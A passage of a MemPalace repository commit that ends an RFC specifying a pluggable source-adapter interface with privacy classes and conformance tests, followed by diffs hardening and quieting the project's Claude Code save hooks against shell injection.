| `requires_auth` | Needs credentials at runtime (env vars — §4.2). |
| `requires_external_service` | Needs a running service (Slack API, email server). |
| `requires_local_tool` | Needs a local binary (`gh`, `rg`, `whisper`). |
| `adapter_owns_routing` | Returns authoritative `RouteHint` values from `ingest()` that core uses as-is (§G3 / §2.5). |
| `respects_privacy_class` | Honors §6 privacy-class filtering. |
Capability tokens are free-form strings; third-party adapters MAY declare novel tokens for their ecosystem. Core only inspects the above.
### 2.2 Source references
See `SourceRef` in §1.3. The shape is deliberately open — adapters parse `uri` and `options` as they see fit. Core does not canonicalize URIs.
**Secrets in `SourceRef.options`:** credentials MUST NOT be placed in `options`. The spec reserves `options` for non-secret values (paths, filters, date ranges). Secrets come from env vars per §4.2. An adapter that reads a credential from `options` violates the spec and MUST be rejected by the conformance suite.
### 2.3 Lifecycle
1. `__init__`: lightweight. No I/O, no network, no credential fetch.
2. First call to `ingest`: may open resources. All I/O is lazy.
3. `close()`: releases all resources. After `close()`, further calls MUST raise `AdapterClosedError`.
### 2.4 Concurrency
An adapter instance is long-lived and serves many mine operations. Adapters MUST be thread-safe for concurrent `ingest` calls across different `SourceRef` values. MemPalace core serializes calls within a single `SourceRef` unless an adapter advertises `supports_parallel_ingest` (not in v1 — reserved for v1.1).
### 2.5 Routing
Routing is the adapter's responsibility. The filesystem adapter reads `mempalace.yaml` (hall keywords, rooms list) via `MempalaceConfig()` and returns `RouteHint(wing=..., room=..., hall=...)` on each drawer. This relocates `detect_room()` and `detect_hall()` (currently in `miner.py` and `convo_miner.py`) into their respective adapters.
Order of precedence for routing:
1. Explicit `--wing` / `--room` CLI flags → passed through `SourceRef.options` → adapter honors verbatim.
2. Palace config match (`mempalace.yaml` hall keywords, room keywords) → adapter computes.
3. Adapter-internal fallback (e.g., filesystem adapter falls back to `"general"` room).
Adapters advertising `adapter_owns_routing` return the final answer; core uses it verbatim. Adapters not advertising it return None and core applies a generic fallback router (writing to wing `default`, room `general`, hall `general`). Absent any adapter, this is how `mempalace mine` behaves today.
### 2.6 Incremental ingest
`is_current()` is the incremental-ingest primitive. The palace itself is the cursor — no separate persisted state. Correctness requirements:
- The adapter's `SourceItemMetadata.source_file` MUST be stable across re-ingests of the same logical item. Filesystem adapter uses the absolute path (as today). Git adapter uses a URI shape like `github.com/org/repo#pr=567` or `github.com/org/repo#commit=abc123`.
- `is_current()` returns True when the stored metadata matches the adapter's current version token. The default implementation returns False (always re-extract) — adapters advertising `supports_incremental` override.
- Deletion tombstones: an adapter MAY yield a `SourceItemMetadata(source_file=..., version="__deleted__")` entry — core purges drawers with matching `source_file` and builds no new drawers for that item. Advertised via `supports_deletion_tombstones`.
- Adapters without `supports_incremental` ignore `is_current()` and fully re-extract. Core logs a warning.
### 2.7 Errors
- `SourceNotFoundError` — the `SourceRef` does not resolve.
- `AuthRequiredError` — adapter needs credentials; raises with a message describing which env vars to set.
- `AdapterClosedError` — method called after `close()`.
- `TransformationViolationError` — conformance suite raises this when the content round-trip requires an undeclared transformation.
- `SchemaConformanceError` — a `DrawerRecord.metadata` is missing required fields declared in `describe_schema()` or violates declared types.
---
## 3. Registration and discovery
### 3.1 Entry points (primary mechanism)
Third-party adapters ship as installable packages:
```toml
# pyproject.toml of mempalace-source-cursor
[project.entry-points."mempalace.sources"]
cursor = "mempalace_source_cursor:CursorAdapter"
```
MemPalace discovers adapters at process start via `importlib.metadata.entry_points(group="mempalace.sources")`.
### 3.2 In-tree registry (secondary)
```python
from mempalace.sources.registry import register
register("my-experimental-adapter", MyAdapter)
```
Entry-point discovery and explicit `register()` populate the same registry. Explicit registration wins on name conflict.
### 3.3 Selection (explicit only — no auto-detect)
Unlike storage backends (RFC 001 §3.3), source adapters are never auto-detected. The user selects the adapter explicitly:
```bash
mempalace mine --source cursor ~/ # explicit adapter
mempalace mine --source git /path/to/repo # explicit adapter
mempalace mine --source filesystem /path/to/project # explicit adapter
mempalace mine /path/to/project # implicit: filesystem (default)
```
The default when no `--source` is given is `filesystem`, preserving current `mempalace mine <path>` behavior.
**Backwards compatibility with `--mode`.** Current `cli.py:517-519` exposes `--mode {projects,convos}`. This spec maps:
- `--mode projects` → `--source filesystem` (the new default)
- `--mode convos` → `--source conversations`
`--mode` stays as a deprecated alias through v4.x with a deprecation warning on use; removed in v5.0.
Auto-detection would be hostile — a directory containing a `.git` folder, a `workspaceStorage/` subdir, and an `mbox` file is not a signal of user intent.
---
## 4. Configuration
### 4.1 Shape
```json
{
"sources": {
"my-cursor": {
"type": "cursor",
"workspace_storage": "~/Library/Application Support/Cursor/User/workspaceStorage"
},
"my-git": {
"type": "git",
"repos": ["/projects/mempalace", "/projects/site"]
}
},
"palaces": {
"work": {
"sources": ["my-git"],
"privacy_floor": "internal"
},
"personal": {
"sources": ["my-cursor"]
}
}
}
```
Single-user local mode: config is optional. `mempalace mine <path>` with no config uses the `filesystem` adapter and defaults.
### 4.2 Environment variables
- `MEMPALACE_SOURCE_<NAME>_*` — per-adapter secrets and connection info. Examples: `MEMPALACE_SOURCE_SLACK_TOKEN`, `MEMPALACE_SOURCE_NOTION_API_KEY`, `MEMPALACE_SOURCE_GIT_GITHUB_TOKEN`.
- Secrets MUST be readable from env vars; config files carry structure, env vars carry credentials. Same rule as RFC 001 §4.2.
### 4.3 Adapter-specific options
`SourceRef.options` is a free-form dict of non-secret values (§2.2). Each adapter documents its accepted keys. Unknown keys MUST be ignored (forward compatibility); the adapter MAY log a warning.
---
## 5. Metadata schema contract
### 5.1 Universal fields
Existing drawer metadata fields are preserved — the spec adds the following:
| New field | Type | Added by | Purpose |
|---|---|---|---|
| `adapter_name` | `str` | core, from `BaseSourceAdapter.name` | Which registered source produced this drawer. |
| `adapter_version` | `str` | adapter | Adapter's own version (distinct from palace `normalize_version`). Enables re-extract workflows targeted at drawers from a known-buggy adapter version. |
| `privacy_class` | `str` | adapter default, config override | Per §6. |
Existing fields retain their current semantics (verified against `miner.py:542-561` and `convo_miner.py:338-350`):
| Existing field | Role in the spec |
|---|---|
| `source_file` | Functions as the adapter's source-item identifier. Adapter defines the shape — a filesystem path for filesystem, a URI like `github.com/org/repo#pr=123` for git. MUST be stable across re-ingests of the same logical item. |
| `source_mtime` | Functions as the source-item version for filesystem. Adapters without mtime semantics MAY omit this field and use a different version discriminator (e.g., commit SHA in a separate `metadata["commit_sha"]` field); the spec only requires that `is_current()` can decide staleness from the stored metadata. |
| `filed_at` | When the record was written. ISO-8601 string. |
| `added_by` | Agent name (e.g., `lumi`, `claude-code`). Orthogonal to `adapter_name` — the agent is *who* triggered mining; the adapter is *how* data was extracted. |
| `wing`, `room`, `hall` | Palace routing. Populated by adapter per §2.5. |
| `chunk_index` | Per §1.6. Always 0 for `whole_record` / `metadata_only`. |
| `normalize_version` | Palace-wide schema version (currently `palace.py:50`). Unchanged. Separate from `adapter_version`. |
| `entities` | Semicolon-joined candidate entity names. Already flat; kept flat (§5.4 replacement). |
| `ingest_mode` | Per §1.5. Already on conversation drawers; added to filesystem drawers by the cleanup PR. |
| `extract_mode` | Conversation-adapter-specific (`exchange` vs `general`). Moves into the conversations adapter's declared schema per §5.2. |
**Nothing is renamed. Nothing is removed.** The spec formalizes the shape ingesters already converge on. Existing `where={"source_file": ...}` queries in `searcher.py`, `palace.py`, and callers keep working.
**Chroma metadata constraint:** all metadata values MUST be `str | int | float | bool`. No lists, no nested dicts. This matches RFC 001 §1.4 and the underlying ChromaDB contract. Structured side-data goes to the SQLite knowledge graph (§5.5) or to a declared flat JSON-encoded string field (§5.4).
### 5.2 Adapter schemas
Each adapter returns an `AdapterSchema` from `describe_schema()`:
```python
@dataclass(frozen=True)
class AdapterSchema:
fields: dict[str, FieldSpec] # Keyed by metadata key.
version: str
@dataclass(frozen=True)
class FieldSpec:
type: Literal["string", "int", "float", "bool", "delimiter_joined_string", "json_string"]
required: bool
description: str
indexed: bool = False # Hint to backends that can build indexes (RFC 001 §2.1).
# delimiter_joined_string: the delimiter character (default ";").
delimiter: str = ";"
# json_string: the JSON schema of the encoded object (informational only).
json_schema: dict | None = None
```
`delimiter_joined_string` covers the `entities` shape (current `;`-joined list of names). `json_string` is the escape hatch for adapters needing to pack nested data — the value stored is still a single flat `str` from Chroma's perspective, but the adapter is allowed to document its parsed shape.
Example for a hypothetical `slack` adapter:
```python
AdapterSchema(
version="1.0",
fields={
"channel_name": FieldSpec(type="string", required=True, description="Slack channel name", indexed=True),
"channel_id": FieldSpec(type="string", required=True, description="Slack channel ID"),
"thread_ts": FieldSpec(type="string", required=False, description="Thread root timestamp"),
"author_id": FieldSpec(type="string", required=True, description="Slack user ID", indexed=True),
"author_name": FieldSpec(type="string", required=True, description="Display name at extraction time"),
"reactions": FieldSpec(type="delimiter_joined_string", required=False, description="Emoji shortcodes"),
},
)
```
### 5.3 Enterprise keying
The adapter schema is the stable surface enterprises filter on. A support team querying the palace for `channel_id = "C01234"` does not care about ChromaDB's internal representation. The schema field is declared by the adapter, indexed by the backend (RFC 001 §2.1 `supports_metadata_filters`), and exposed through the existing `where=` clause.
This is how "structured data" serves company use cases without breaking transformation guarantees: declared-transformation content in the drawer, structured fields in the metadata, schema declared by the adapter, filtering done by the backend.
### 5.4 Entity hints (optional)
Adapters with `supports_entity_hints` MAY include:
```python
metadata["entity_hints_json"] = '[{"type":"person","name":"Milla Jovovich","confidence":0.95,"offset":120},{"type":"project","name":"MemPalace","confidence":1.0,"offset":0}]'
```
The value is a JSON-encoded string (type `json_string` in the adapter schema). Core parses on read and feeds into `mempalace/entity_detector.py` as a prior: hints with `confidence >= 0.9` bypass the heuristic detector; lower-confidence hints feed into it as candidates.
This is additive to the existing flat `entities` field — entity_hints carries structure (type, confidence, offset); `entities` remains the Chroma-indexable flat string. An adapter that produces entity_hints MUST also populate `entities` as the flat name-only projection, so existing filter queries keep working.
### 5.5 Knowledge-graph triples (optional)
Adapters with `supports_kg_triples` write directly to the SQLite knowledge graph via `mempalace/knowledge_graph.py` — **not** to drawer metadata. Chroma cannot store structured triples; the KG already exists for this purpose.
The adapter calls the existing `KnowledgeGraph.add_triple()` (signature verified against `mempalace/knowledge_graph.py:130`):
```python
palace.kg.add_triple(
subject="Ben",
predicate="committed",
obj="PR-567", # `object` is a Python builtin — the API uses `obj`.
valid_from="2026-03-12",
confidence=1.0,
source_file=drawer.source_file, # Existing provenance parameter.
)
```
Drawer metadata includes a flat counter — `metadata["kg_triples_count"]: int` — so search consumers can see at a glance that KG side-data exists for a drawer without hitting SQLite.
The existing API has `source_closet` and `source_file` provenance parameters but no `source_drawer_id` or `adapter_name`. The cleanup PR (§9) should add these two optional parameters to `add_triple()` so adapter-written triples can be traced back to (a) the specific drawer that produced them and (b) the adapter that authored them — necessary for re-extraction workflows. Until that lands, adapters use `source_file` as the provenance key and record adapter authorship via a separate table or a predicate naming convention (e.g., `adapter:git:committed`).
This aligns with the existing architecture in `CLAUDE.md` ("Knowledge Graph: ENTITY → PREDICATE → ENTITY with valid_from / valid_to dates") — the RFC formalizes the adapter-side write path.
### 5.6 Source encoding and newline
Current ingesters handle encoding lossily (`errors="replace"` in `miner.py:595` and `normalize.py:124`) and do not record original encoding. The spec does **not** require per-drawer `source_encoding` / `source_newline` — most runs are uniform UTF-8 / LF, and storing the same value on every drawer wastes bytes.
Instead: adapters that handle non-UTF-8 or non-LF sources record the values once on the adapter's `SourceSummary` and per-drawer only when a specific drawer diverges from the adapter default. The `utf8_replace_invalid` declared transformation (§1.4) already communicates that lossy decoding happened; specific drawer-level provenance is opt-in.
---
## 6. Privacy class
### 6.1 Defined levels
| Level | Meaning | Example sources |
|---|---|---|
| `public` | Content intended for public consumption. | arXiv papers, public GitHub repos, published blogs. |
| `internal` | Organizational content, not for public disclosure. | Corporate Slack, internal Notion, private git repos. |
| `pii_potential` | May contain personally identifiable information. | Email, iMessage, Claude/ChatGPT transcripts. |
| `sensitive` | Known to contain PII, financial, or health data. | Medical records, financial statements, legal filings. |
| `secrets_possible` | May contain credentials or secrets. | Git history, environment dumps, CI logs. |
An adapter declares a default on `BaseSourceAdapter.default_privacy_class`. Users MAY override per-source in config.
### 6.2 Enforcement
- Each palace declares a `privacy_floor`. Drawers above the floor (equal to or laxer) are admitted; drawers below are rejected at write time and surfaced in a `rejected` list on the CLI and MCP tool.
- **Default floor: none** — v1 accepts all levels unless the palace explicitly configures a floor. This keeps the single-user local default low-friction (users who run `mempalace mine` on a git repo expect `secrets_possible` drawers to land). Enterprise deployments MUST set a floor; docs for regulated-domain setup will recommend starting strict and relaxing as needed.
- Search results surface `privacy_class` in result metadata. MCP tool wrappers MAY redact results above a caller-declared ceiling.
- `secrets_possible` drawers SHOULD pass through a secrets-scan pre-index hook when one is available. PR #389 (sensitive content scanner) is the expected enforcement mechanism for v1; until it lands, `secrets_possible` is a label without automated scanning. The label is still useful — it enables floor-based rejection and alerts downstream consumers.
- The privacy class is recorded in drawer metadata and cannot be downgraded without a migration log entry, matching RFC 001's embedder-identity pattern.
Privacy class is how a regulated-domain deployment (medical, legal, financial) can use MemPalace safely. Without it, flexible ingest becomes a liability; with it, ingest is scoped by policy.
---
## 7. Testing contract
### 7.1 The abstract suite
MemPalace ships `mempalace.sources.testing.AbstractSourceAdapterContractSuite` — a pytest mixin. Every adapter package ships a concrete subclass:
```python
from mempalace.sources.testing import AbstractSourceAdapterContractSuite
class TestCursorAdapter(AbstractSourceAdapterContractSuite):
@pytest.fixture
def adapter(self):
return CursorAdapter()
@pytest.fixture
def fixture_source(self, tmp_path):
"""Build a minimal Cursor workspaceStorage fixture."""
...
return SourceRef(local_path=str(tmp_path))
@pytest.fixture
def canonical_source_bytes(self, fixture_source):
"""Return a mapping of source_file -> authoritative bytes.
For filesystem sources: the file's raw bytes.
For SQLite sources: the extracted value column bytes for each row.
For API sources: the canonical HTTP response body bytes.
Adapter-defined — the adapter knows what its 'source bytes' are.
"""
...
```
The suite covers:
- `ingest` yields items with stable `source_file` and well-formed `version`.
- `is_current()` returns True when metadata matches, False when it differs.
- `close()` releases resources; subsequent calls raise `AdapterClosedError`.
- Unicode content and unicode identifiers are preserved end-to-end.
- Large-source handling: 10k+ items ingest without loading all into memory.
- Error paths: `SourceNotFoundError`, `AuthRequiredError` raise with correct types.
- `SourceRef.options` MUST NOT contain secrets — the adapter raises if it detects a value matching a common-secret pattern (GitHub token prefix, Slack token prefix, etc.). Advisory test, not blocking.
### 7.2 Byte-preserving round-trip (for `byte_preserving` adapters only)
Required for adapters advertising `byte_preserving`:
```python
def test_byte_preserving_round_trip(self, adapter, fixture_source, canonical_source_bytes):
"""Concatenated chunks must equal the canonical source bytes.
For each source_file in the fixture:
1. Read canonical_source_bytes[source_file].
2. Collect all DrawerRecords for that source_file from adapter.ingest(...).
Skip metadata_only drawers (§1.5).
3. Sort by chunk_index.
4. Concatenate record.content values.
5. Assert equality with the canonical bytes (UTF-8 decoded).
"""
```
Failure raises `TransformationViolationError`.
### 7.3 Declared-transformation round-trip (for `declared_lossy` adapters)
Required for adapters with non-empty `declared_transformations`:
```python
def test_declared_transformation_round_trip(self, adapter, fixture_source, canonical_source_bytes):
"""Adapter output must be reproducible by applying ONLY declared transformations.
1. For each source_file, read canonical_source_bytes.
2. Apply each declared transformation in declared_transformations to the bytes,
in the order declared by the adapter, using the reference implementations
in mempalace.sources.transforms.
3. Compare the result to the concatenated record.content values.
4. If they differ, the adapter has applied a transformation it did not declare.
Raise TransformationViolationError.
"""
```
For transformations not in the reserved list (§1.4) — adapter-custom names — the adapter MUST provide a reference implementation callable under `mempalace.sources.transforms.<adapter_name>_<transform_name>`. The conformance suite imports and applies it. Undiscoverable custom transforms fail the test.
### 7.4 Schema conformance
A generator-based property test validates that every record yielded by `ingest` across the fixture source has metadata matching `describe_schema()`. Missing required fields, wrong types, or (in strict mode) undeclared fields fail the test.
### 7.5 Note on current corpus
No existing test in `tests/` asserts byte-preservation or declared-transformation correctness (verified via grep of `tests/` for `verbatim|byte.?preserv|round.?trip`). This RFC's conformance suite introduces the first such coverage. The existing MISSION.md claim of "verbatim always" is a social contract until this lands; afterward it becomes a machine-verified property of adapters that declare `byte_preserving`.
---
## 8. Versioning and compatibility
- `BaseSourceAdapter.spec_version` declares which spec version an adapter implements.
- MemPalace refuses to load an adapter declaring a different major spec version.
- Minor spec versions are additive: new optional methods, new capability tokens, new reserved transformation names, new universal metadata fields with sensible defaults.
- Adapters MAY declare their own `adapter_version` independent of the spec version; this is recorded on every drawer (§5.1) and enables "this drawer was extracted by cursor-adapter 0.3; 0.4 fixed a parsing bug; re-extract affected drawers" workflows.
- This is spec v1.0.
---
## 9. Cleanup prerequisite (not in this spec, but gating)
The existing in-tree ingesters are not adapter-shaped. Before RFC 002 can be enforced, the following refactor lands in a separate PR:
- Introduce `mempalace/sources/base.py` defining `BaseSourceAdapter`, the typed records, and the registry.
- Introduce `mempalace/sources/transforms.py` with reference implementations of every reserved transformation in §1.4. Adapters and the conformance suite both consume these.
- `mempalace/miner.py` → `mempalace/sources/filesystem.py` implementing `BaseSourceAdapter`. Current behavior preserved: 800-char chunking becomes the adapter's default; `READABLE_EXTENSIONS` moves to the adapter; `detect_room()` and `detect_hall()` move to the adapter per §2.5. `declared_transformations = frozenset({"utf8_replace_invalid", "whitespace_trim"})`.
- `mempalace/convo_miner.py` → `mempalace/sources/conversations.py`. Exchange-pair chunking stays. The format-detection logic in `normalize.py` becomes per-format plugins the conversations adapter composes (one for Claude Code JSONL, one for Codex JSONL, one for ChatGPT mapping trees, one for Claude.ai JSON, one for Slack JSON) — each small and independently testable, eliminating the `if source_type` chain. `declared_transformations` enumerates every transformation `normalize.py` and `convo_miner._chunk_by_exchange` actually perform (see §1.4 "Existing code mapping").
- Closet-building wired into the conversations adapter's post-step (currently missing, per §1.7) — side effect of routing through the unified core post-step.
- `mempalace/cli.py` subcommand `mine` routes through the `mempalace.sources` registry. `--mode {projects,convos}` becomes a deprecated alias for `--source {filesystem,conversations}`.
- `mempalace/mcp_server.py` `mempalace_mine` tool accepts a `source` parameter.
- `mempalace/palace.py` exposes `PalaceContext` — a per-mine-invocation facade that bundles the drawer collection, closet collection, knowledge graph, palace config, and progress hooks. Adapters receive this; they do not import `palace.py` directly.
- `NORMALIZE_VERSION` (currently a module-level constant in `palace.py:50`) stays. It is the palace-wide schema version, orthogonal to per-adapter `adapter_version`.
- `KnowledgeGraph.add_triple()` (`knowledge_graph.py:130`) gains two optional parameters: `source_drawer_id: str = None` and `adapter_name: str = None`. Existing callers are unaffected; adapters advertising `supports_kg_triples` (§5.5) populate both. Backwards-compatible change.
This cleanup is substantial — comparable to RFC 001 §10's chroma-import removal — and should land before any new third-party adapter PR merges. Each new adapter is easier after the cleanup, not harder.
---
## 10. Impact on in-flight PRs
| PR / Issue | Effort to align |
|---|---|
| [#274](https://github.com/MemPalace/mempalace/issues/274) Cursor SQLite | Becomes `mempalace-source-cursor` third-party package. Author has a working prototype on Windows; needs `describe_schema()`, `declared_transformations`, and the conformance suite. Prior #287 (closed unmerged) is predecessor work. |
| [#23](https://github.com/MemPalace/mempalace/pull/23) OpenCode SQLite | Becomes `mempalace-source-opencode`. Same shape as Cursor. |
| [#169](https://github.com/MemPalace/mempalace/pull/169) Pi agent | Becomes `mempalace-source-pi` or a format plugin under the conversations adapter (depending on format similarity). |
| [#232](https://github.com/MemPalace/mempalace/pull/232) Cursor JSONL | Deprecated in favor of #274's SQLite path; or a second mode of `mempalace-source-cursor`. |
| [#567](https://github.com/MemPalace/mempalace/pull/567), [#98](https://github.com/MemPalace/mempalace/pull/98) git-mine | Closest existing work to what the spec envisions. Becomes first-party `mempalace/sources/git.py`. Exercises `whole_record` mode, `supports_structured_metadata`, `supports_closet_hints` (decision-signal quotes), `supports_kg_triples` (commit authorship, PR review relationships). |
| [#591](https://github.com/MemPalace/mempalace/pull/591), [#592](https://github.com/MemPalace/mempalace/pull/592) Delphi Oracle | Deferred. The live-stream pattern is out of scope for v1 (§Non-goals). A v1.1 addition will specify webhook/stream adapters. |
| [#702](https://github.com/MemPalace/mempalace/pull/702) Cursor + factory.ai | Splits into two adapter packages. |
| [#981](https://github.com/MemPalace/mempalace/issues/981) path-level descriptions | Absorbed by §1.5 `metadata_only` mode + §5.1 `ingest_mode`. A new first-party `descriptions` adapter or a second mode on `filesystem`. |
| [#244](https://github.com/MemPalace/mempalace/pull/244) Cursor memory-first MCP workflow docs | Points at `mempalace-source-cursor` once the adapter lands. |
| [#419](https://github.com/MemPalace/mempalace/pull/419), [#300](https://github.com/MemPalace/mempalace/pull/300), [#952](https://github.com/MemPalace/mempalace/pull/952) language-extension additions to `READABLE_EXTENSIONS` | Becomes per-language config on the filesystem adapter. Contributors can publish domain-specific adapters without touching core. |
| [#389](https://github.com/MemPalace/mempalace/pull/389) sensitive content scanner | Expected enforcement mechanism for the `secrets_possible` privacy class (§6.2). Not a blocker for this spec, but a natural consumer. |
| [#434](https://github.com/MemPalace/mempalace/pull/434) auto-populate KG from drawers | Complementary: post-hoc derivation of KG triples from drawer content. Adapters with `supports_kg_triples` provide the up-front path; #434 handles everything else. |
---
## 11. Open questions
1. **Cross-adapter dedup.** When a PR body is mined via `git` AND shows up as a conversation quote mined via `claude-code`, both drawers land. Is query-time dedup in `searcher.py` sufficient, or should core maintain a content-hash index across adapters? Declared non-goal in v1 but worth revisiting if user feedback demands it.
2. **Live-stream pattern.** Delphi Oracle (#591/592) and potentially Slack/Discord real-time ingestion need a push-mode contract. This is a v1.1 addition (streaming adapter trait + webhook surface), not blocking.
3. **LLM-assisted structured extraction.** Some adapters will want to call an LLM to extract structured fields. The spec does not standardize this — should it? Argument for: conformance test for LLM-driven fields, consistent caching. Argument against: local-first / zero-API is a core promise; LLM dependencies are opt-in per adapter.
4. **Adapter-vs-format split for conversations.** §9 proposes format plugins composed under a single conversations adapter. Alternative: one adapter per format (claude-code, chatgpt, codex, cursor-jsonl, slack). The trade-off is discoverability (one adapter is easier to find) vs. encapsulation (format plugins are simpler to test). Preference leans toward the single-adapter + plugin model; open to counter-argument.
5. **Default `privacy_floor`.** v1 defaults to none (§6.2) so single-user local mining is frictionless. An argument exists for defaulting to `pii_potential` — forces regulated-domain users to opt in to sensitive levels rather than opt out. Open to changing the default before v1 ships.
6. **`canonical_source_bytes` for API-backed adapters.** §7.1 defines this as adapter-declared. For API-backed adapters (Slack, Notion), what constitutes "canonical bytes" in a conformance test — the fixture's captured HTTP response? A serialized representation of the parsed object? Leaves to the adapter; may need a follow-up spec for common conventions.
7. **`adapter_version` bump semantics.** When does an adapter bump `adapter_version`? On any behavior change? On declared-transformation changes only? Suggests a follow-up doc on adapter SemVer conventions for the community to agree on.
---
## 12. Rollout
1. Land the cleanup PR (§9): introduce `mempalace/sources/`, refactor `miner.py` → filesystem adapter, `convo_miner.py` → conversations adapter, route CLI and MCP through the sources registry. Behavior preserved end-to-end. Closets get built for conversation drawers as a side effect.
2. Land this spec as-is. Add `AbstractSourceAdapterContractSuite`, entry-point discovery, `AdapterSchema` validation, privacy-class enforcement (floor-gated writes), declared-transformation reference implementations in `mempalace/sources/transforms.py`.
3. Land `mempalace/sources/git.py` as the first-party adapter absorbing #567. Exercises `whole_record`, `supports_structured_metadata`, `supports_closet_hints`, `supports_kg_triples` together.
4. Encourage the Cursor (#274), OpenCode (#23), and Pi (#169) authors to publish as third-party packages under `mempalace-source-*`. Offer review help against the spec.
5. Publish adapter-authoring docs at [mempalaceofficial.com/guide/authoring-sources](https://mempalaceofficial.com/guide/authoring-sources.html).
6. Update [ROADMAP.md](../../ROADMAP.md) with spec v1.0 adoption under v4.0.0-alpha.
+5 -1
View File
@@ -133,6 +133,10 @@ Example output:
[14:40:01] Session abc123: 18 exchanges, 3 since last save
```
## Known Limitations
**Hooks require session restart after install.** Claude Code loads hooks from `settings.json` at session start only. If you run `mempalace init` or manually edit hook config mid-session, the hooks won't fire until you restart Claude Code. This is a Claude Code limitation.
## Cost
**Zero extra tokens.** The hooks are bash scripts that run locally. They don't call any API. The only "cost" is the AI spending a few seconds organizing memories at each checkpoint — and it's doing that with context it already has loaded.
**Zero extra tokens.** The hooks notify the AI that saves happened in the background — the AI doesn't need to write anything in the chat. All filing is handled automatically. Previous versions asked the AI to write diary entries and drawer content in the chat window, which cost ~$1/session in retransmitted tokens.
+3 -7
View File
@@ -68,10 +68,6 @@ if [ -n "$MEMPAL_DIR" ] && [ -d "$MEMPAL_DIR" ]; then
python3 -m mempalace mine "$MEMPAL_DIR" >> "$STATE_DIR/hook.log" 2>&1
fi
# Always block — compaction = save everything
cat << 'HOOKJSON'
{
"decision": "block",
"reason": "COMPACTION IMMINENT (MemPalace). Save ALL session content before context is lost:\n1. mempalace_diary_write — thorough AAAK-compressed session summary\n2. mempalace_add_drawer — ALL verbatim quotes, decisions, code, context\n3. mempalace_kg_add — entity relationships (optional)\nBe thorough — after compaction, detailed context will be lost. Do NOT write to Claude Code's native auto-memory (.md files). Save everything to MemPalace, then allow compaction to proceed."
}
HOOKJSON
# Silent: return empty JSON to not block. "decision": "allow" is invalid —
# only "block" or {} are recognized.
echo '{}'
+36 -12
View File
@@ -65,15 +65,18 @@ MEMPAL_DIR=""
INPUT=$(cat)
# Parse all fields in a single Python call (3x faster than separate invocations)
# SECURITY: All values are sanitized before being interpolated into shell assignments.
# stop_hook_active is coerced to a strict True/False to prevent command injection via eval.
eval $(echo "$INPUT" | python3 -c "
import sys, json
import sys, json, re
data = json.load(sys.stdin)
sid = data.get('session_id', 'unknown')
sha = data.get('stop_hook_active', False)
sha_raw = data.get('stop_hook_active', False)
tp = data.get('transcript_path', '')
# Shell-safe output — only allow alphanumeric, underscore, hyphen, slash, dot, tilde
import re
safe = lambda s: re.sub(r'[^a-zA-Z0-9_/.\-~]', '', str(s))
# Coerce stop_hook_active to strict boolean string
sha = 'True' if sha_raw is True or str(sha_raw).lower() in ('true', '1', 'yes') else 'False'
print(f'SESSION_ID=\"{safe(sid)}\"')
print(f'STOP_HOOK_ACTIVE=\"{sha}\"')
print(f'TRANSCRIPT_PATH=\"{safe(tp)}\"')
@@ -118,7 +121,11 @@ fi
LAST_SAVE_FILE="$STATE_DIR/${SESSION_ID}_last_save"
LAST_SAVE=0
if [ -f "$LAST_SAVE_FILE" ]; then
LAST_SAVE=$(cat "$LAST_SAVE_FILE")
LAST_SAVE_RAW=$(cat "$LAST_SAVE_FILE")
# SECURITY: Validate as plain integer before arithmetic to prevent command injection
if [[ "$LAST_SAVE_RAW" =~ ^[0-9]+$ ]]; then
LAST_SAVE="$LAST_SAVE_RAW"
fi
fi
SINCE_LAST=$((EXCHANGE_COUNT - LAST_SAVE))
@@ -133,21 +140,38 @@ if [ "$SINCE_LAST" -ge "$SAVE_INTERVAL" ] && [ "$EXCHANGE_COUNT" -gt 0 ]; then
echo "[$(date '+%H:%M:%S')] TRIGGERING SAVE at exchange $EXCHANGE_COUNT" >> "$STATE_DIR/hook.log"
# Optional: run mempalace ingest in background if MEMPAL_DIR is set
# Auto-mine the transcript. Two paths:
# 1. TRANSCRIPT_PATH (from Claude Code) — mine the directory it lives in
# 2. MEMPAL_DIR (user-configured) — mine that directory
# At least one should work. If neither is set, nothing mines.
PYTHON="$(command -v python3)"
MINE_DIR=""
if [ -n "$TRANSCRIPT_PATH" ] && [ -f "$TRANSCRIPT_PATH" ]; then
MINE_DIR="$(dirname "$TRANSCRIPT_PATH")"
fi
if [ -n "$MEMPAL_DIR" ] && [ -d "$MEMPAL_DIR" ]; then
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_DIR="$(dirname "$SCRIPT_DIR")"
python3 -m mempalace mine "$MEMPAL_DIR" >> "$STATE_DIR/hook.log" 2>&1 &
MINE_DIR="$MEMPAL_DIR"
fi
if [ -n "$MINE_DIR" ]; then
"$PYTHON" -m mempalace mine "$MINE_DIR" >> "$STATE_DIR/hook.log" 2>&1 &
fi
# Block the AI and tell it to save
# The "reason" becomes a system message the AI sees and acts on
cat << 'HOOKJSON'
# MEMPAL_VERBOSE toggle:
# true = developer mode — block and show diaries/code in chat
# false = silent mode (default) — save in background, no chat clutter
# Set via: export MEMPAL_VERBOSE=true
if [ "$MEMPAL_VERBOSE" = "true" ] || [ "$MEMPAL_VERBOSE" = "1" ]; then
cat << 'HOOKJSON'
{
"decision": "block",
"reason": "AUTO-SAVE checkpoint (MemPalace). Save this session's key content:\n1. mempalace_diary_write — AAAK-compressed session summary\n2. mempalace_add_drawer — verbatim quotes, decisions, code snippets\n3. mempalace_kg_add — entity relationships (optional)\nDo NOT write to Claude Code's native auto-memory (.md files). Continue conversation after saving."
"reason": "MemPalace save checkpoint. Write a brief session diary entry covering key topics, decisions, and code changes since the last save. Use verbatim quotes where possible. Continue after saving."
}
HOOKJSON
else
# Silent mode: return empty JSON to not block. "decision": "allow" is
# not a valid value — only "block" or {} are recognized.
echo '{}'
fi
else
# Not time yet — let the AI stop normally
echo "{}"
+1 -1
View File
@@ -1,7 +1,7 @@
---
name: mempalace
description: "MemPalace — Local AI memory with 96.6% recall. Semantic search, temporal knowledge graph, palace architecture (wings/rooms/drawers). Free, no cloud, no API keys."
version: 3.2.0
version: 3.3.0
homepage: https://github.com/MemPalace/mempalace
user-invocable: true
metadata:
+2116
View File
File diff suppressed because it is too large Load Diff
Binary file not shown.

After

Width:  |  Height:  |  Size: 680 KiB

+5 -6
View File
@@ -2,13 +2,12 @@
import logging
from .cli import main # noqa: E402
from .version import __version__ # noqa: E402
# ChromaDB 0.6.x ships a Posthog telemetry client whose capture() signature is
# incompatible with the bundled posthog library, producing noisy stderr warnings
# on every client operation ("Failed to send telemetry event … capture() takes
# 1 positional argument but 3 were given"). Silence just that logger.
